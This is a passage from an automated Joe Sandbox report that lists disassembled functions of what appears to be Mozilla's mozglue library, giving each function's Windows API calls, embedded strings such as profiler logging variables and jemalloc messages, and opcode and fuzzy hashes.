SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C639824

Strings

MapViewOfFileNuma2, xrefs: 6C6397B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C639670
ntdll.dll, xrefs: 6C6396E3
NtMapViewOfSection, xrefs: 6C639701

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 114ffead6a86c4d285d050ed4d062b68fc66377036bc0ed95ad19df35edee645
Instruction ID: 5caaa297be683801bb02a79bbc41c905af6219876bd3519d1b525218819e8fc4
Opcode Fuzzy Hash: 114ffead6a86c4d285d050ed4d062b68fc66377036bc0ed95ad19df35edee645
Instruction Fuzzy Hash: BE417C706002159BDF008FE6F8D4A9A77B4EB8A358F105529ED1997780DB30F815CFAE

Function 6C670000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C634A68), ref: 6C66945E
Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C669470
Part of subcall function 6C669420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C669482
Part of subcall function 6C669420: __Init_thread_footer.LIBCMT ref: 6C66949F

GetCurrentThreadId.KERNEL32 ref: 6C670039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C670041
GetCurrentThreadId.KERNEL32 ref: 6C670075
AcquireSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C670082
moz_xmalloc.MOZGLUE(00000048), ref: 6C670090
free.MOZGLUE(?), ref: 6C670104
ReleaseSRWLockExclusive.KERNEL32(6C6AF4B8), ref: 6C67011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C67005B

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: e33fe52dfde365ffa3d54e7fb4a6e06e6de16e2e646a58920fd1e0c7c75c2a21
Instruction ID: ffb4b3fcb9bbc992491814acbe909b3357442162dfbe1e088e805e3d2b5d67eb
Opcode Fuzzy Hash: e33fe52dfde365ffa3d54e7fb4a6e06e6de16e2e646a58920fd1e0c7c75c2a21
Instruction Fuzzy Hash: 83418F755002449FCB20CFA5D880A9ABBF1FF4A318F50491DE95A93B51D732B815CBAE

Function 6C637E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C637EA7
malloc.MOZGLUE(00000001), ref: 6C637EB3

Part of subcall function 6C63CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C63CB49
Part of subcall function 6C63CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C63CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C637EC4
mozalloc_abort.MOZGLUE(?), ref: 6C637F19
malloc.MOZGLUE(?), ref: 6C637F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C637F4D

Strings

d, xrefs: 6C637F89

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 2057aed6ea86d48ca3f6a4a60cbeb67924865d14fe91a719dab55cdaf8bb505d
Instruction ID: bc42a7600dd8a4821b65e4f82babcc52923f70359e035cb648a7b2593fb2a20e
Opcode Fuzzy Hash: 2057aed6ea86d48ca3f6a4a60cbeb67924865d14fe91a719dab55cdaf8bb505d
Instruction Fuzzy Hash: BF312661E0439997DB009F69DC409FEB778EF96308F446228ED4957612FB30B5D8C399

Function 6C633E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C633CCC), ref: 6C633EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C633FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C633CCC), ref: 6C634006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C6340A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C633CCC), ref: 6C6340AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C633CCC), ref: 6C6340C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C634134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C633CCC), ref: 6C634143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C633CCC), ref: 6C634157

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: e49dea94799f7dddf8e2f3211d4c3093bb16af24cc2af9fdedb8d591e42814fe
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: CEA1A2B1A00215CFDB40CF28C880769BBB5FF49318F656169D9099F712D776D846CFA8

Function 6C622030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C643F47,?,?,?,6C643F47,6C641A70,?), ref: 6C62207F
memset.VCRUNTIME140(?,000000E5,6C643F47,?,6C643F47,6C641A70,?), ref: 6C6220DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C643F47,6C641A70,?), ref: 6C62211A
EnterCriticalSection.KERNEL32(6C6AE744,?,6C643F47,6C641A70,?), ref: 6C622145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C643F47,6C641A70,?), ref: 6C6221BA
EnterCriticalSection.KERNEL32(6C6AE744,?,6C643F47,6C641A70,?), ref: 6C6221E0
LeaveCriticalSection.KERNEL32(6C6AE744,?,6C643F47,6C641A70,?), ref: 6C622232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C622253, 6C622268
MOZ_CRASH(), xrefs: 6C62227D

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 16fb8f7500075565741984a7fc1bd4a337c84341a408c7e3f99e857f5eed696b
Instruction ID: 4aeeccb0181a2039c4f5488865e39fdf4cbf64559596e9a24b9689c735456ccd
Opcode Fuzzy Hash: 16fb8f7500075565741984a7fc1bd4a337c84341a408c7e3f99e857f5eed696b
Instruction Fuzzy Hash: 8A61F731F142168FCB04CEA9C889B6E77B1AF85328F294135E625A7B94D7759C00CF89

Function 6C679D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C678273), ref: 6C679D65
free.MOZGLUE(6C678273,?), ref: 6C679D7C
free.MOZGLUE(?,?), ref: 6C679D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C679E0F
free.MOZGLUE(6C67946B,?,?), ref: 6C679E24
free.MOZGLUE(?,?,?), ref: 6C679E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C679EC8
free.MOZGLUE(6C67946B,?,?,?), ref: 6C679EDF
free.MOZGLUE(?,?,?,?), ref: 6C679EF5

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 3de0a13879a275cc3c851aaed3dcbf81da783adf540ce5dd221fe2e5b7f55fef
Instruction ID: 948325b1b4594f2cd70c335f690e9e88a8c18b9733a6b02daf2c933e79c329f3
Opcode Fuzzy Hash: 3de0a13879a275cc3c851aaed3dcbf81da783adf540ce5dd221fe2e5b7f55fef
Instruction Fuzzy Hash: 9871A070509B418BC712CF18C44095BF3F4FF99318B44DA19E85A5BB11EB30E886CB99

Function 6C67DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C67DDCF

Part of subcall function 6C65FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C65FA4B

Part of subcall function 6C6790E0: free.MOZGLUE(?,00000000,?,?,6C67DEDB), ref: 6C6790FF
Part of subcall function 6C6790E0: free.MOZGLUE(?,00000000,?,?,6C67DEDB), ref: 6C679108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C67DE0D
free.MOZGLUE(00000000), ref: 6C67DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C67DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C67DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C67DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C66DEFD,?,6C634A68), ref: 6C67DF32

Part of subcall function 6C67DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C67DB86
Part of subcall function 6C67DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C67DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C66DEFD,?,6C634A68), ref: 6C67DF65
free.MOZGLUE(?), ref: 6C67DF80

Part of subcall function 6C645E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C645EDB
Part of subcall function 6C645E90: memset.VCRUNTIME140(ewhl,000000E5,?), ref: 6C645F27
Part of subcall function 6C645E90: LeaveCriticalSection.KERNEL32(?), ref: 6C645FB2

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 493e19701b5942c1f155f8e0a9667f737568a86454f78eb51133279730ef622b
Instruction ID: 40738d3fefe458726645be25ae845a70082862a556bdc2dcbccf01e57cf70a21
Opcode Fuzzy Hash: 493e19701b5942c1f155f8e0a9667f737568a86454f78eb51133279730ef622b
Instruction Fuzzy Hash: 6F51C8726016009BD7319B29D8806AF73B2BF92318F954D1CD45A53B00D731F85ACBAE

Function 6C685D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C685C8C,?,6C65E829), ref: 6C685D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C685C8C,?,6C65E829), ref: 6C685D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C685C8C,?,6C65E829), ref: 6C685D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C685C8C,?,6C65E829), ref: 6C685D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C685C8C,?,6C65E829), ref: 6C685DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C685C8C,?,6C65E829), ref: 6C685DC9
std::_Facet_Register.LIBCPMT ref: 6C685DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C685C8C,?,6C65E829), ref: 6C685E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C685C8C,?,6C65E829), ref: 6C685E45

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: e44b1e48b54a4553b1139a61c4b61d96d24d108f757830739e86df6df0744daf
Instruction ID: 82cc367c3f08019418149538123290ed157ea64376e075de9ec72a7df79a4655
Opcode Fuzzy Hash: e44b1e48b54a4553b1139a61c4b61d96d24d108f757830739e86df6df0744daf
Instruction Fuzzy Hash: D54192707012099FDB10EFA6C8D8AAE7BF5EF89314F144069D90697791EB70E805CB6D

Function 6C65CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C6231A7), ref: 6C65CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C65CFA4, 6C65CFB8
<jemalloc>, xrefs: 6C65CF9F, 6C65CFB3

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: db219ff083de5f798c3c735195b111ca60d4470b8f13455fd04d36484394c669
Instruction ID: fd18e85faacf4222dc5f845cc0eb22b04d514322e8831d654d56fc3b55de326b
Opcode Fuzzy Hash: db219ff083de5f798c3c735195b111ca60d4470b8f13455fd04d36484394c669
Instruction Fuzzy Hash: 5B31A7307402097BEB00AFA68C85BAE7775BF89758F744015F512ABA80DB71E911CB9D

Function 6C62ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C62F100: LoadLibraryW.KERNEL32(shell32,?,6C69D020), ref: 6C62F122
Part of subcall function 6C62F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C62F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C62ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C62EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C62EDCC
CreateFileW.KERNEL32 ref: 6C62EE08
free.MOZGLUE(00000000), ref: 6C62EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C62EE32

Part of subcall function 6C62EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C62EBB5
Part of subcall function 6C62EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C65D7F3), ref: 6C62EBC3
Part of subcall function 6C62EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C65D7F3), ref: 6C62EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C62EDC1

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 15757919279e3a07bb258d8164f09a4025034d673839d79136028979a3486ccc
Instruction ID: 67694fc44b387594eab0d73e837e38332e9a6f40a3cfc3f598a64c07fef94afc
Opcode Fuzzy Hash: 15757919279e3a07bb258d8164f09a4025034d673839d79136028979a3486ccc
Instruction Fuzzy Hash: D1510471D052048BDB00DF79D8806EEB7F0AF5A319F44882DE8956B741E7386949CBEA

Function 6C69A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C69A565

Part of subcall function 6C69A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C69A4BE
Part of subcall function 6C69A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C69A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C69A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C69A6B6

Strings

0, xrefs: 6C69A5FB
z, xrefs: 6C69A6AE

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: b45e28ad3937311d5414f7ff6ba6cce0749a01bdc943699a3db4238f5d0165ff
Instruction ID: 9449fc5efd2c0d60e920267bf27ba75db9e8024bb0f93416c996c3b64c75847b
Opcode Fuzzy Hash: b45e28ad3937311d5414f7ff6ba6cce0749a01bdc943699a3db4238f5d0165ff
Instruction Fuzzy Hash: 984149719087469FC341DF28C480A9FBBE4BFCA354F408A2EF49987651EB30E549CB86

Function 6C669420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C65AB89: EnterCriticalSection.KERNEL32(6C6AE370,?,?,?,6C6234DE,6C6AF6CC,?,?,?,?,?,?,?,6C623284), ref: 6C65AB94
Part of subcall function 6C65AB89: LeaveCriticalSection.KERNEL32(6C6AE370,?,6C6234DE,6C6AF6CC,?,?,?,?,?,?,?,6C623284,?,?,6C6456F6), ref: 6C65ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C634A68), ref: 6C66945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C669470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C669482
__Init_thread_footer.LIBCMT ref: 6C66949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C66947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C669459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C66946B

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 57fc10bb24e4be12c8648f7fa9a249fe14341cea210a375b4e9e22678afe17fd
Instruction ID: c07c8882441e7e32fcb0e0a7cf02a8447d9cec8903998034e76360f9d0b2b56e
Opcode Fuzzy Hash: 57fc10bb24e4be12c8648f7fa9a249fe14341cea210a375b4e9e22678afe17fd
Instruction Fuzzy Hash: 3901B570A001018BD7109BDFE951A9E33B5DF0632DF040576DD06C6E43D623F8658A5F

Function 6C670F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C670F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C670F88
GetCurrentThreadId.KERNEL32 ref: 6C670FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C671067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C6710A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C67114B

Part of subcall function 6C668AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C681563), ref: 6C668BD5

free.MOZGLUE(?), ref: 6C671174
free.MOZGLUE(?), ref: 6C671186

Memory Dump Source

Source File: 00000000.00000002.2706997730.000000006C621000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C620000, based on PE: true

Associated: 00000000.00000002.2706963519.000000006C620000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707132874.000000006C69D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707181705.000000006C6AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2707225735.000000006C6B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c620000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: b20f6a175222864648468c42ff77ea4f576c8e1aba96faa06b2da3c3d52f77a7
Instruction ID: 27b239ce7306bf6b782a0bc5e5ad2afb65cab49f8c2d88bce66c7b0f5e2e414b
Opcode Fuzzy Hash: b20f6a175222864648468c42ff77ea4f576c8e1aba96faa06b2da3c3d52f77a7
Instruction Fuzzy Hash: BE61D075A043449FDB20CF25C890B9AB7F5BFC6308F04891DE88947712EB31E449CBAA

Function 6C62B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

